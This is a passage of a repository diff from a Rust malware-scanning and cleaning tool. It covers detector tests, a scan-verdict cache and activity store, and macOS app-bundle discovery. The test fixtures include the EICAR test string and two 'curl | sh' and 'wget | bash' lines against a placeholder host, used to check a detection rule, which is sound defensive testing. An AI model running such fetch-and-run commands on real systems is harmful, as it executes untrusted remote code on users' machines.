const MACHOS: [[u8; 4]; 6] = [
[0xcf, 0xfa, 0xed, 0xfe],
[0xce, 0xfa, 0xed, 0xfe],
[0xca, 0xfe, 0xba, 0xbe],
[0xfe, 0xed, 0xfa, 0xcf],
[0xfe, 0xed, 0xfa, 0xce],
[0xbe, 0xba, 0xfe, 0xca],
];
MACHOS.iter().any(|magic| head.starts_with(magic))
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
fn temp_file(name: &str, bytes: &[u8]) -> std::path::PathBuf {
let path = std::env::temp_dir().join(format!("squid-guard-{name}"));
let mut file = std::fs::File::create(&path).expect("temp file");
file.write_all(bytes).expect("write temp file");
path
}
const EICAR: &str = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\r\n";
#[test]
fn the_builtin_ruleset_compiles() {
let detector = Detector::builtin().expect("built-in rules must compile");
assert_eq!(detector.rule_count(), builtin_meta().len());
for entry in builtin_meta() {
assert!(
detector
.rules
.iter()
.any(|rule| rule.identifier() == entry.name),
"{} is declared in metadata but not compiled",
entry.name
);
}
}
#[test]
fn eicar_is_found_by_both_detectors() {
let detector = Detector::builtin().unwrap();
let path = temp_file("eicar", EICAR.as_bytes());
let evidence = detector.scan_file(&path);
assert!(
evidence
.iter()
.any(|item| item.key() == "yara:Eicar_Test_File"),
"the YARA rule did not fire: {evidence:?}"
);
let hash = sha256_of(&path).expect("hash");
let index = HashIndex::builtin();
let denied = index
.check(&hash)
.expect("the hash blacklist should know EICAR");
assert!(matches!(denied, Evidence::DeniedHash { .. }));
std::fs::remove_file(path).ok();
}
#[test]
fn a_signature_rule_is_confirmed_and_a_behaviour_rule_is_not() {
let detector = Detector::builtin().unwrap();
assert_eq!(detector.level_of("Eicar_Test_File"), RuleLevel::Signature);
assert_eq!(
detector.level_of("ShellPayloadInUserData"),
RuleLevel::Behaviour
);
assert_eq!(
detector.confidence_for(&[Evidence::YaraRule {
rule: "Eicar_Test_File".into(),
description: String::new(),
family: String::new(),
}]),
Confidence::Confirmed
);
assert_eq!(
detector.confidence_for(&[Evidence::YaraRule {
rule: "ShellPayloadInUserData".into(),
description: String::new(),
family: String::new(),
}]),
Confidence::Suspicious
);
// A rule nobody described is assumed to be the weak kind.
assert_eq!(detector.level_of("Made_Up"), RuleLevel::Behaviour);
}
#[test]
fn behaviour_rule_needs_evidence_not_a_single_string() {
let detector = Detector::builtin().unwrap();
let path = temp_file(
"pipe-sh",
b"#!/bin/sh\ncurl -sS https://example.test/install | sh\nwget -qO- https://example.test/x | bash\n",
);
let evidence = detector.scan_file(&path);
assert!(
evidence
.iter()
.any(|item| item.key() == "yara:ShellPayloadInUserData"),
"two piped-shell lines should fire: {evidence:?}"
);
// One line alone is how documentation and install instructions read.
let quiet = temp_file(
"pipe-sh-quiet",
b"curl -sS https://example.test/install | sh\n",
);
assert!(detector.scan_file(&quiet).is_empty());
std::fs::remove_file(path).ok();
std::fs::remove_file(quiet).ok();
}
#[test]
fn a_clean_binary_reports_nothing() {
let detector = Detector::builtin().unwrap();
let path = temp_file("clean", b"\x7fELF this file is deliberately uninteresting");
assert!(detector.scan_file(&path).is_empty());
std::fs::remove_file(path).ok();
}
#[test]
fn hashing_skips_directories_and_refusals() {
assert!(sha256_of(std::path::Path::new("/")).is_none());
assert!(sha256_of(std::path::Path::new("/definitely/not/here")).is_none());
}
#[test]
fn only_executable_shaped_files_are_worth_reading() {
// The gate is decided from real `stat` data, so the fixture has to be
// real files: a cache file and a binary are the same name shape and
// differ only in their mode bits.
let dir = std::env::temp_dir().join("squid-gate");
std::fs::create_dir_all(&dir).expect("temp dir");
let made = |name: &str, executable: bool| -> std::path::PathBuf {
let path = dir.join(name);
std::fs::write(&path, [0x90_u8; 512]).expect("write");
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mode = if executable { 0o755 } else { 0o644 };
std::fs::set_permissions(&path, std::fs::Permissions::from_mode(mode))
.expect("mode");
}
#[cfg(not(unix))]
let _ = executable;
path
};
let keep = |name: &str, executable: bool| {
let path = made(name, executable);
let metadata = std::fs::metadata(&path).expect("metadata");
let kept = worth_scanning(&path, &metadata);
std::fs::remove_file(&path).ok();
kept
};
let keep_size = |name: &str, executable: bool, bytes: usize| {
let path = dir.join(name);
std::fs::write(&path, vec![0x90_u8; bytes]).expect("write");
let metadata = std::fs::metadata(&path).expect("metadata");
let kept = worth_scanning(&path, &metadata);
std::fs::remove_file(&path).ok();
let _ = executable;
kept
};
assert!(keep("install.sh", false), "a script is a payload");
assert!(keep("thing.dylib", false), "a library is a payload");
assert!(
keep("com.tester.agent.plist", false),
"an agent is persistence"
);
assert!(!keep("notes.txt", false), "a text file is not a program");
assert!(!keep("photo.jpg", false), "an image is not a program");
assert!(
!keep_size("stub", false, 8),
"under the floor a file cannot say anything about itself"
);
// The execute bit is a POSIX notion; Windows has no equivalent, which is
// why the name and the header carry the decision there instead.
if cfg!(unix) {
assert!(keep("runner", true), "an extensionless binary is a payload");
assert!(
!keep("runner-copy", false),
"an extensionless file nobody can execute is data"
);
// Unpacking an archive marks everything inside it executable, so on a
// machine with a few downloaded source trees the mode bit alone reports
// hundreds of "unsigned binary" findings that are stylesheets. A name
// that says what the file is beats a mode bit that does not.
assert!(
!keep("notes.txt", true),
"an executable text file is still a text file"
);
assert!(
!keep("styles.scss", true),
"the exec bit does not turn a stylesheet into a payload"
);
}
std::fs::remove_dir(&dir).ok();
}
#[test]
fn a_folder_the_user_named_is_judged_by_content_not_by_name() {
// A signature can live in an ordinary text file, and the suffix of a
// dropper's handiwork argues with itself, so a scan pointed at one folder
// asks about anything large enough to hold a payload. The same file found
// while walking `~/Library` is taken at its word.
let path = temp_file("payload", b"eicar-shaped text that a rule can match");
let metadata = std::fs::metadata(&path).expect("metadata");
assert!(
worth_scanning_in(&path, &metadata, true),
"inside a folder the user named, the name does not decide"
);
assert!(
!worth_scanning(&path, &metadata),
"the same file elsewhere is a text file, and a scan says so"
);
std::fs::remove_file(path).ok();
}
#[test]
fn the_layouts_a_quick_scan_trusts_are_the_ones_that_can_run() {
assert_eq!(
layout_of(std::path::Path::new(
"/Applications/Thing.app/Contents/MacOS/Thing"
)),
Layout::AppBundle
);
assert_eq!(
layout_of(std::path::Path::new("/Library/LaunchAgents/x.plist")),
Layout::Launchd
);
assert_eq!(
layout_of(std::path::Path::new("/Applications/Other.txt")),
Layout::Other,
"/Applications on its own is not a bundle"
);
assert!(plausible_by_name_in(
std::path::Path::new("/a/b/com.tester.agent.plist"),
false
));
assert!(!plausible_by_name_in(
std::path::Path::new("/Users/tester/Documents/notes.txt"),
false
));
}
#[test]
fn an_extra_pack_adds_rules_without_losing_the_builtin_ones() {
let extra = vec![(
"rule PackProbe { strings: $a = \"pack-marker\" condition: $a }".to_string(),
vec![RuleMeta {
name: "PackProbe".into(),
description: "from the pack".into(),
family: "pack".into(),
level: RuleLevel::Signature,
}],
)];
let detector = Detector::with_extra(&extra).expect("the pack should compile");
assert_eq!(detector.rule_count(), builtin_meta().len() + 1);
assert_eq!(detector.level_of("PackProbe"), RuleLevel::Signature);
assert!(detector
.scan_buffer(b"prefix pack-marker suffix")
.iter()
.any(|item| item.key() == "yara:PackProbe"));
}
#[test]
fn a_broken_pack_is_reported_not_swallowed() {
let broken = vec![("rule {{{ not yara".to_string(), Vec::new())];
assert!(Detector::with_extra(&broken).is_err());
}
}

File diff suppressed because it is too large Load Diff

View File

@ -1,686 +0,0 @@
//! Two kinds of memory, both on disk, neither in a database.
//!
//! [`ScanCache`] remembers the verdict for a file identity — path, size,
//! modification time and file id — so a second scan does not re-hash a file that
//! has not moved. Identity rather than content sampling, because the whole point
//! is to be able to say "this exact file, unchanged" without reading it.
//!
//! [`Store`] keeps the scan the user is looking at plus the recent-activity list
//! the Security page shows. Findings live here precisely so quarantine can take
//! an id: the frontend never gets to name a path, and a stale id is an error
//! rather than a surprise move.
//!
//! Both files are bounded. A cleaner that grows its own state forever is its own
//! kind of junk, so the cache drops its oldest half when it doubles past the
//! limit, and the activity list keeps a fixed number of entries.
use crate::findings::{Confidence, Evidence, Finding};
use serde::{Deserialize, Serialize};
use squid_core::paths;
use std::collections::HashMap;
use std::path::{Path, PathBuf};
use std::time::{SystemTime, UNIX_EPOCH};
/// The three facts that make a file the same file: where it is, how big it is,
/// and when it last changed. Anything else would mean reading it again.
pub struct FileIdentity {
pub path: PathBuf,
pub size: u64,
pub modified_ms: u64,
pub file_id: u64,
}
impl FileIdentity {
pub fn of(path: &Path, metadata: &std::fs::Metadata) -> FileIdentity {
FileIdentity {
path: path.to_path_buf(),
size: metadata.len(),
modified_ms: modified_ms(metadata),
file_id: file_id(metadata),
}
}
}
/// A reusable answer for one file identity.
#[derive(Clone)]
pub struct Hit {
pub evidence: Vec<Evidence>,
pub sha256: Option<String>,
pub signed: bool,
}
/// One remembered verdict, and when a scan last asked for it.
///
/// `path` is stored as the canonical key rather than the original spelling, which
/// is what lets the map below be keyed by it. Nothing displays that field: it is
/// there so a person opening `verdicts.json` can see which file a verdict is about.
#[derive(Clone, Debug, Serialize, Deserialize)]
struct CachedVerdict {
path: String,
size: u64,
modified_ms: u64,
#[serde(default)]
file_id: u64,
evidence: Vec<Evidence>,
sha256: Option<String>,
signed: bool,
/// Scan counter, not a clock: only the order matters, and a clock would make a
/// test depend on how fast the machine is.
#[serde(default)]
used: u64,
}
/// The file on disk. A list, so the format stays readable and diffable, even
/// though the cache is a map in memory.
#[derive(Default, Serialize, Deserialize)]
struct CacheFile {
version: u32,
entries: Vec<CachedVerdict>,
}
/// Verdicts keyed by file identity rather than by path alone: a file that was
/// replaced between scans has a different mtime, and reusing the old answer would
/// report the wrong bytes.
///
/// The map is the point. A scan offers thousands of files, and looking each one up
/// in a list costs one path comparison per cached entry per file — which is
/// quadratic, and was measured at several minutes of CPU on a quick scan whose
/// entire budget is a few seconds. Trimming needs an ordering, so each entry keeps
/// the scan number it was last used at and the list is only sorted when it is
/// written.
pub struct ScanCache {
entries: HashMap<String, CachedVerdict>,
/// Counts lookups and stores, to order the cache by recency without a clock.
clock: u64,
dirty: bool,
loaded: bool,
misses: usize,
}
impl Default for ScanCache {
fn default() -> Self {
Self::new()
}
}
impl ScanCache {
pub fn new() -> ScanCache {
ScanCache {
entries: HashMap::new(),
clock: 0,
dirty: false,
loaded: false,
misses: 0,
}
}
fn path() -> PathBuf {
cache_dir().join("verdicts.json")
}
fn load(&mut self) {
if self.loaded {
return;
}
self.entries = std::fs::read(Self::path())
.ok()
.and_then(|bytes| serde_json::from_slice::<CacheFile>(&bytes).ok())
.map(|file| {
file.entries
.into_iter()
.map(|entry| (entry.path.clone(), entry))
.collect()
})
.unwrap_or_default();
self.loaded = true;
}
/// The remembered verdict for a file that has not changed since.
pub fn verdict(&mut self, identity: &FileIdentity) -> Option<Hit> {
self.load();
self.clock += 1;
let used = self.clock;
let found = self
.entries
.get_mut(&paths::canonical_key(&identity.path))?;
if found.size != identity.size
|| found.modified_ms != identity.modified_ms
|| found.file_id != identity.file_id
{
// The same path holding different bytes. Re-hash it: "you already
// looked at this" is the one answer a scan may not give wrongly.
self.misses += 1;
return None;
}
found.used = used;
Some(Hit {
evidence: found.evidence.clone(),
sha256: found.sha256.clone(),
signed: found.signed,
})
}
/// Remember what this scan decided. Called for every file a scan looked at, so
/// a re-scan of an unchanged tree is a sequence of hits rather than a re-read.
pub fn remember(&mut self, identity: &FileIdentity, verdict: Hit) {
self.load();
self.clock += 1;
let key = paths::canonical_key(&identity.path);
// One row per path: a re-scan replaces the answer rather than leaving the
// file with two verdicts, one of which is stale and might win.
self.entries.insert(
key.clone(),
CachedVerdict {
path: key,
size: identity.size,
modified_ms: identity.modified_ms,
file_id: identity.file_id,
evidence: verdict.evidence,
sha256: verdict.sha256,
signed: verdict.signed,
used: self.clock,
},
);
self.dirty = true;
}
/// Write the cache, trimming the least recently used half when it outgrows its
/// budget. A cleaner that grows its own state forever is its own kind of junk.
pub fn commit(&mut self) {
self.load();
if !self.dirty {
return;
}
const LIMIT: usize = 40_000;
let mut entries: Vec<CachedVerdict> = self.entries.values().cloned().collect();
entries.sort_by_key(|entry| entry.used);
if entries.len() > LIMIT * 2 {
let drop = entries.len() - LIMIT;
entries.drain(0..drop);
}
let file = CacheFile {
version: 1,
entries,
};
if let Some(parent) = Self::path().parent() {
let _ = std::fs::create_dir_all(parent);
}
if let Ok(bytes) = serde_json::to_vec(&file) {
let _ = std::fs::write(Self::path(), bytes);
}
self.dirty = false;
}
pub fn entries(&self) -> usize {
self.entries.len()
}
pub fn misses(&self) -> usize {
self.misses
}
/// Forget everything. Offered when the rule pack changes, because a verdict
/// recorded by the old rules is not an answer the new rules gave.
pub fn invalidate(&mut self) {
self.entries.clear();
self.dirty = true;
self.commit();
}
}
/// The scan the user is looking at, plus the activity list.
#[derive(Clone, Debug, Default, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct ActivityEntry {
pub at_ms: u64,
pub kind: String,
pub detail: String,
pub path: Option<String>,
}
#[derive(Clone, Debug, Default, Serialize, Deserialize)]
#[serde(rename_all = "camelCase")]
pub struct StoredScan {
pub scan_id: String,
pub mode: String,
pub finished_ms: u64,
pub elapsed_ms: u64,
pub cancelled: bool,
pub examined: usize,
pub cached: usize,
pub skipped: usize,
pub coverage_complete: bool,
pub gaps: Vec<(String, String)>,
pub findings: Vec<Finding>,
}
impl StoredScan {
/// How many findings at each level still need a decision: not ignored, and
/// not already sitting in the quarantine.
///
/// This is the definition the badge, the tray line and the page header all
/// count, so it is one function on the record itself. When it was written
/// twice — once here, once in the desktop layer — the tray and the Security
/// page could disagree after a restart while both looked correct.
pub fn counts(&self) -> (usize, usize, usize) {
let actionable = |level: Confidence| {
self.findings
.iter()
.filter(|finding| {
finding.confidence == level && !finding.ignored && !finding.quarantined
})
.count()
};
(
actionable(Confidence::Confirmed),
actionable(Confidence::Suspicious),
actionable(Confidence::Advisory),
)
}
/// Freeze one finished scan for storage. The coverage is kept as a boolean
/// plus the list of gaps, because that is everything the next session needs
/// in order to refuse to say a plain "clean".
pub fn record(report: &crate::scan::ScanReport) -> StoredScan {
StoredScan {
scan_id: report.scan_id.clone(),
mode: report.mode.as_str().to_string(),
finished_ms: report.finished_ms,
elapsed_ms: report.elapsed_ms,
cancelled: report.cancelled,
examined: report.examined,
cached: report.cached,
skipped: report.skipped,
coverage_complete: report.coverage.complete(),
gaps: report
.coverage
.gaps()
.into_iter()
.map(|gap| {
(
gap.display_path.clone(),
gap.reason
.clone()
.unwrap_or_else(|| gap.outcome.as_str().into()),
)
})
.collect(),
findings: report.findings.clone(),
}
}
}
/// In-memory state for one app session, persisted where it helps the next one.
pub struct Store {
last_scan: Option<StoredScan>,
activity: Vec<ActivityEntry>,
}
impl Default for Store {
fn default() -> Self {
Self::new()
}
}
impl Store {
pub fn new() -> Store {
let activity = read_activity();
Store {
last_scan: read_last_scan(),
activity,
}
}
pub fn set_scan(&mut self, scan: StoredScan) {
write_last_scan(&scan);
self.last_scan = Some(scan);
}
pub fn scan(&self) -> Option<&StoredScan> {
self.last_scan.as_ref()
}
/// Apply one change to the stored scan and write it back. Findings are
/// mutable state — quarantined, restored, ignored — and the file is the
/// record of that state, so every mutation goes through here rather than
/// editing `self.last_scan` and hoping something saves it later.
pub fn update_scan(&mut self, change: impl FnOnce(&mut StoredScan)) {
let Some(scan) = self.last_scan.as_mut() else {
return;
};
change(scan);
write_last_scan(scan);
}
/// The finding behind an id. This is the only way a caller reaches a path in
/// the quarantine path, and it fails loudly when the id is unknown.
pub fn finding(&self, id: &str) -> Option<&Finding> {
self.last_scan
.as_ref()
.and_then(|scan| scan.findings.iter().find(|finding| finding.id == id))
}
pub fn finding_mut(&mut self, id: &str) -> Option<&mut Finding> {
self.last_scan
.as_mut()
.and_then(|scan| scan.findings.iter_mut().find(|finding| finding.id == id))
}
pub fn note(&mut self, kind: &str, detail: impl Into<String>, path: Option<PathBuf>) {
self.activity.push(ActivityEntry {
at_ms: now_ms(),
kind: kind.into(),
detail: detail.into(),
path: path.map(|path| paths::pretty(&path)),
});
const KEEP: usize = 200;
if self.activity.len() > KEEP {
let drop = self.activity.len() - KEEP;
self.activity.drain(0..drop);
}
write_activity(&self.activity);
}
pub fn activity(&self) -> &[ActivityEntry] {
&self.activity
}
/// Most recent first, which is how a log is read.
pub fn recent_activity(&self, limit: usize) -> Vec<ActivityEntry> {
self.activity.iter().rev().take(limit).cloned().collect()
}
/// Fold the quarantine ledger into the displayed findings, so a file that
/// has been dealt with stops being offered as actionable.
pub fn mark_quarantined(&mut self, quarantined: &[(String, PathBuf)]) {
let Some(scan) = self.last_scan.as_mut() else {
return;
};
for finding in &mut scan.findings {
if let Some(path) = finding.path.as_ref() {
if quarantined
.iter()
.any(|(_, stored)| paths::same_path(stored, path))
{
finding.quarantined = true;
}
}
}
}
pub fn counts(&self) -> (usize, usize, usize) {
self.last_scan
.as_ref()
.map(StoredScan::counts)
.unwrap_or((0, 0, 0))
}
}
fn cache_dir() -> PathBuf {
squid_core::Settings::state_dir()
.join("security")
.join("cache")
}
fn activity_path() -> PathBuf {
squid_core::Settings::state_dir()
.join("security")
.join("activity.json")
}
/// The last finished scan, kept so a finding id outlives the process that
/// produced it. `squid guard scan` and `squid guard quarantine` are two runs of
/// one conversation, and the Security page reopening after a restart should say
/// what the last scan found rather than "never scanned".
fn last_scan_path() -> PathBuf {
squid_core::Settings::state_dir()
.join("security")
.join("last-scan.json")
}
fn read_last_scan() -> Option<StoredScan> {
std::fs::read_to_string(last_scan_path())
.ok()
.and_then(|text| serde_json::from_str(&text).ok())
}
fn write_last_scan(scan: &StoredScan) {
let path = last_scan_path();
if let Some(parent) = path.parent() {
let _ = std::fs::create_dir_all(parent);
}
if let Ok(text) = serde_json::to_string_pretty(scan) {
let _ = std::fs::write(path, text);
}
}
fn read_activity() -> Vec<ActivityEntry> {
std::fs::read_to_string(activity_path())
.ok()
.and_then(|text| serde_json::from_str(&text).ok())
.unwrap_or_default()
}
fn write_activity(entries: &[ActivityEntry]) {
let path = activity_path();
if let Some(parent) = path.parent() {
let _ = std::fs::create_dir_all(parent);
}
if let Ok(text) = serde_json::to_string_pretty(entries) {
let _ = std::fs::write(path, text);
}
}
fn modified_ms(metadata: &std::fs::Metadata) -> u64 {
metadata
.modified()
.ok()
.and_then(|time| time.duration_since(UNIX_EPOCH).ok())
.map(|since| since.as_millis() as u64)
.unwrap_or_default()
}
/// inode on unix, file index on Windows; the part of the identity that survives a
/// rename and catches a replacement in place.
fn file_id(metadata: &std::fs::Metadata) -> u64 {
#[cfg(unix)]
{
use std::os::unix::fs::MetadataExt;
metadata.ino()
}
#[cfg(windows)]
{
use std::os::windows::fs::MetadataExt;
metadata.creation_time()
}
#[cfg(not(any(unix, windows)))]
{
let _ = metadata;
0
}
}
fn now_ms() -> u64 {
SystemTime::now()
.duration_since(UNIX_EPOCH)
.map(|since| since.as_millis() as u64)
.unwrap_or_default()
}
#[cfg(test)]
mod tests {
use super::*;
use std::io::Write;
fn state_dir(tag: &str) -> PathBuf {
let dir = std::env::temp_dir().join(format!("squid-store-{tag}-{}", std::process::id()));
std::fs::create_dir_all(&dir).unwrap();
dir
}
fn probe(tag: &str, bytes: &[u8]) -> PathBuf {
let dir = state_dir(tag);
let path = dir.join("payload");
let mut file = std::fs::File::create(&path).unwrap();
file.write_all(bytes).unwrap();
path
}
fn hit(evidence: &[Evidence], sha256: Option<&str>, signed: bool) -> Hit {
Hit {
evidence: evidence.to_vec(),
sha256: sha256.map(str::to_string),
signed,
}
}
fn evidence() -> Vec<Evidence> {
vec![Evidence::DeniedHash {
sha256: "a".repeat(64),
threat: "probe".into(),
}]
}
#[test]
fn a_verdict_is_reused_only_while_the_file_is_unchanged() {
let path = probe("reuse", b"the bytes that were judged");
let metadata = std::fs::metadata(&path).unwrap();
let identity = FileIdentity::of(&path, &metadata);
let mut cache = ScanCache::new();
assert!(
cache.verdict(&identity).is_none(),
"an empty cache cannot know this file"
);
cache.remember(&identity, hit(&evidence(), None, false));
let stored = cache.verdict(&identity).expect("the file has not changed");
assert_eq!(stored.evidence.len(), 1);
// Different size, different answer: the file was replaced.
let bigger = FileIdentity {
size: identity.size + 1,
..identity
};
assert!(cache.verdict(&bigger).is_none());
std::fs::remove_dir_all(path.parent().unwrap()).ok();
}
#[test]
fn a_replaced_file_loses_its_cached_verdict() {
let path = probe("replaced", b"first content");
let before = std::fs::metadata(&path).unwrap();
let mut cache = ScanCache::new();
cache.remember(
&FileIdentity::of(&path, &before),
hit(&evidence(), None, false),
);
std::fs::write(&path, b"a longer second content").unwrap();
let after = std::fs::metadata(&path).unwrap();
assert_ne!(before.len(), after.len());
assert!(
cache.verdict(&FileIdentity::of(&path, &after)).is_none(),
"the new bytes must not inherit the old verdict"
);
std::fs::remove_dir_all(path.parent().unwrap()).ok();
}
#[test]
fn the_cache_survives_a_restart_and_can_be_invalidated() {
let _guard = crate::state_guard("cache-persist");
let path = probe("persist", b"remembered across sessions");
let metadata = std::fs::metadata(&path).unwrap();
let identity = FileIdentity::of(&path, &metadata);
{
let mut cache = ScanCache::new();
cache.remember(&identity, hit(&evidence(), Some("beef"), false));
cache.commit();
}
let mut reopened = ScanCache::new();
let stored = reopened.verdict(&identity).expect("the cache is on disk");
assert_eq!(stored.sha256.as_deref(), Some("beef"));
reopened.invalidate();
assert!(
ScanCache::new().verdict(&identity).is_none(),
"invalidating must forget everything, because the rules changed"
);
std::fs::remove_dir_all(path.parent().unwrap()).ok();
}
#[test]
fn findings_are_reachable_by_id_and_only_by_id() {
let scan = StoredScan {
scan_id: "s1".into(),
findings: vec![
finding("s1#0", Confidence::Confirmed, "/tmp/one"),
finding("s1#1", Confidence::Suspicious, "/tmp/two"),
],
..Default::default()
};
let mut store = Store::new();
store.set_scan(scan);
assert_eq!(
store.finding("s1#1").unwrap().confidence,
Confidence::Suspicious
);
assert!(store.finding("/tmp/one").is_none(), "a path is not an id");
assert!(store.finding("s1#9").is_none());
let (confirmed, suspicious, _) = store.counts();
assert_eq!((confirmed, suspicious), (1, 1));
}
#[test]
fn quarantining_a_file_stops_it_being_offered_again() {
let mut scan = StoredScan {
scan_id: "s2".into(),
findings: vec![finding("s2#0", Confidence::Confirmed, "/tmp/x")],
..Default::default()
};
scan.findings[0].path = Some(PathBuf::from("/tmp/x"));
let mut store = Store::new();
store.set_scan(scan);
assert_eq!(store.counts().0, 1);
store.mark_quarantined(&[("q1".into(), PathBuf::from("/tmp/x"))]);
assert_eq!(
store.counts().0,
0,
"a dealt-with finding is not outstanding"
);
assert!(store.finding("s2#0").unwrap().quarantined);
}
#[test]
fn the_activity_list_is_bounded_and_newest_first() {
let _guard = crate::state_guard("activity");
let mut store = Store::new();
for index in 0..250 {
store.note("scan", format!("run {index}"), None);
}
assert!(store.activity().len() <= 200, "the log must stop growing");
let recent = store.recent_activity(3);
assert_eq!(recent.len(), 3);
assert_eq!(recent[0].detail, "run 249", "newest first");
assert!(
activity_path().is_file(),
"the log is written for the next session"
);
}
fn finding(id: &str, confidence: Confidence, path: &str) -> Finding {
Finding {
id: id.into(),
confidence,
path: Some(PathBuf::from(path)),
display_path: Some(path.into()),
name: "probe".into(),
title: "probe".into(),
description: String::new(),
evidence: evidence(),
size: 1,
sha256: None,
signed: false,
publisher: None,
found_at_ms: 0,
quarantined: false,
ignored: false,
}
}
}

View File

@ -1,45 +0,0 @@
[package]
name = "squid-platform"
version.workspace = true
edition.workspace = true
rust-version.workspace = true
license.workspace = true
description = "OS adapters for squid: apps, leftovers, volumes and lifecycle hooks"
[dependencies]
squid-core.workspace = true
serde.workspace = true
libc.workspace = true
dirs.workspace = true
walkdir.workspace = true
plist.workspace = true
rayon.workspace = true
unicode-width.workspace = true
sysinfo.workspace = true
serde_json.workspace = true
[target.'cfg(unix)'.dependencies]
libc.workspace = true
[target.'cfg(windows)'.dependencies]
winreg = "0.52"
windows-sys = { version = "0.59", features = [
"Win32_System_Console",
"Win32_Foundation",
"Win32_Storage_FileSystem",
"Win32_Security",
"Win32_Security_Cryptography",
"Win32_Security_WinTrust",
"Win32_System_Threading",
"Win32_System_Registry",
"Win32_Globalization",
"Win32_UI_WindowsAndMessaging",
"Win32_UI_Shell",
"Win32_Graphics_Gdi",
"Win32_System_SystemInformation",
"Win32_System_IO",
] }
[target.'cfg(any(target_os = "macos", target_os = "windows"))'.dependencies]
file_icon_provider = "1.0.2"
png = "0.17"

View File

@ -1,214 +0,0 @@
//! Generic application discovery used by the per-OS adapters.
use squid_core::progress::CancelToken;
use squid_core::{AppInfo, Bytes};
use std::path::{Path, PathBuf};
/// Metadata pulled out of a macOS bundle.
#[derive(Clone, Debug, Default)]
pub struct BundleInfo {
pub name: Option<String>,
pub bundle_id: Option<String>,
pub version: Option<String>,
pub short_version: Option<String>,
pub publisher: Option<String>,
pub executable: Option<String>,
}
fn string_field(dict: &plist::Dictionary, key: &str) -> Option<String> {
dict.get(key)
.and_then(|v| v.as_string())
.map(|s| s.trim().to_string())
.filter(|s| !s.is_empty())
}
pub fn read_bundle(app_path: &Path) -> Option<BundleInfo> {
let plist_path = app_path.join("Contents/Info.plist");
let value = plist::Value::from_file(&plist_path).ok()?;
let dict = value.as_dictionary()?;
let info = BundleInfo {
name: string_field(dict, "CFBundleDisplayName")
.or_else(|| string_field(dict, "CFBundleName")),
bundle_id: string_field(dict, "CFBundleIdentifier"),
version: string_field(dict, "CFBundleVersion"),
short_version: string_field(dict, "CFBundleShortVersionString"),
publisher: string_field(dict, "CFBundleGetInfoString").map(|info| {
info.split_whitespace()
.take(3)
.collect::<Vec<_>>()
.join(" ")
}),
executable: string_field(dict, "CFBundleExecutable"),
};
Some(info)
}
/// Walk a source directory looking for `.app` bundles, without descending into
/// the bundles themselves (millions of files we never need to list).
pub fn discover_bundles(dir: &Path, max_depth: usize, cancel: &CancelToken) -> Vec<PathBuf> {
let mut found = Vec::new();
if !dir.is_dir() {
return found;
}
let mut stack: Vec<(PathBuf, usize)> = vec![(dir.to_path_buf(), 0)];
let limit = max_depth.max(1);
while let Some((current, depth)) = stack.pop() {
if cancel.is_cancelled() {
break;
}
let Ok(entries) = std::fs::read_dir(&current) else {
continue;
};
for entry in entries.flatten() {
let path = entry.path();
let name = entry.file_name().to_string_lossy().into_owned();
if name.starts_with('.') {
continue;
}
let is_dir = entry
.file_type()
.map(|ft| ft.is_dir())
.unwrap_or_else(|_| path.is_dir());
if !is_dir {
continue;
}
if name.ends_with(".app") {
found.push(path);
continue;
}
// Never wander into system frameworks or a volume's Trash.
if matches!(
name.as_str(),
"Contents" | "System" | "Library" | ".Trashes" | "Volumes" | "node_modules"
) {
continue;
}
if depth < limit {
stack.push((path, depth + 1));
}
}
}
found.sort();
found
}
pub fn app_from_bundle(
path: PathBuf,
source: &str,
running: &[String],
measure: bool,
) -> Option<AppInfo> {
let dir_name = path
.file_name()
.map(|n| n.to_string_lossy().trim_end_matches(".app").to_string())
.unwrap_or_default();
if dir_name.is_empty() {
return None;
}
let bundle = read_bundle(&path).unwrap_or_default();
let name = bundle.name.clone().unwrap_or(dir_name.clone());
let mut app = AppInfo {
name,
bundle_id: bundle.bundle_id.clone(),
path: path.clone(),
icon_source: Some(path.clone()),
version: bundle
.short_version
.clone()
.or_else(|| bundle.version.clone()),
size: if measure {
Bytes(
squid_core::fs::measure(&path, squid_core::ItemKind::Path)
.allocated
.as_u64(),
)
} else {
Bytes::ZERO
},
source: source.to_string(),
running: is_running(&dir_name, bundle.executable.as_deref(), running),
has_sibling_install: false,
publisher: bundle.publisher.clone(),
installed_ms: path
.metadata()
.ok()
.and_then(|m| m.created().ok().or_else(|| m.modified().ok()))
.and_then(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
.map(|d| d.as_millis() as u64),
display_icon: None,
};
if app.name.to_lowercase() == "safari" {
// Safari cannot be removed and its caches are managed by the OS.
app.bundle_id = app.bundle_id.or_else(|| Some("com.apple.Safari".into()));
}
Some(app)
}
/// Render an application's system icon as PNG bytes.
///
/// macOS and Windows let the file manager do the work, so the result is the
/// same icon Finder or Explorer shows, including HiDPI-safe source artwork.
/// Linux has no equivalent without a GTK dependency; the desktop falls back to
/// the app's initial.
#[cfg(any(target_os = "macos", target_os = "windows"))]
pub fn icon_png(app: &AppInfo, size: u16) -> Option<Vec<u8>> {
let source = app.icon_source.as_ref()?;
let icon = file_icon_provider::get_file_icon(source, size).ok()?;
let mut output = Vec::new();
{
let mut encoder = png::Encoder::new(&mut output, icon.width, icon.height);
encoder.set_color(png::ColorType::Rgba);
encoder.set_depth(png::BitDepth::Eight);
let mut writer = encoder.write_header().ok()?;
writer.write_image_data(&icon.pixels).ok()?;
}
Some(output)
}
#[cfg(not(any(target_os = "macos", target_os = "windows")))]
pub fn icon_png(_app: &AppInfo, _size: u16) -> Option<Vec<u8>> {
None
}
/// Match "is this app running" against the process executable list.
pub fn is_running(dir_name: &str, executable: Option<&str>, running: &[String]) -> bool {
let mut candidates: Vec<String> = Vec::with_capacity(3);
if let Some(exe) = executable {
candidates.push(exe.to_lowercase());
}
candidates.push(dir_name.to_lowercase());
if dir_name.to_lowercase().ends_with(".app") {
candidates.push(dir_name.to_lowercase().trim_end_matches(".app").to_string());
}
running.iter().any(|proc| {
let proc = proc.to_lowercase();
let leaf = proc.rsplit('/').next().unwrap_or(&proc).to_string();
candidates
.iter()
.any(|c| !c.is_empty() && (leaf == *c || leaf == format!("{c}.app")))
})
}
/// Case-insensitive file-name stem, e.g. `Safari.app` -> `safari`.
pub fn stem_lower(path: &Path) -> String {
path.file_name()
